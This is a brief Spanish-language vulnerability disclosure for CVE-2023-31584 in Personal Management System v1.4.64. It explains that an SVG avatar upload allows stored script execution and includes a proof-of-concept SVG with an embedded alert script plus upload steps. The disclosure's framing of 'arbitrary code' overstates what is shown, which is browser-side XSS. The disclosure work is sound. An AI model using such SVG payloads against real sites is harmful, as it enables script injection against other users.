
Divulgación pública para CVE-2023-31584.
Una vulnerabilidad de carga arbitraria de archivos en Personal Management System v1.4.64 permite a los atacantes ejecutar código arbitrario mediante la carga de un archivo SVG manipulado como avatar del perfil de un usuario.
[Información adicional] 1.) Cree alert.svg con el siguiente contenido:
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<rect width="300" height="100" style="fill:rgb(0,0,255);stroke-width:3;stroke:rgb(0,0,0)" />
<script type="text/javascript">
alert("huntr.dev");
</script>
</svg>
2.) Aloje el .SVG en un servidor web.
3.) Cargue el .SVG como imagen de avatar. 4.) Cuando un usuario abre el avatar en una pestaña separada, se ejecuta el javascript almacenado en el archivo .SVG.
Referencias: https://github.com/Volmarg/personal-management-system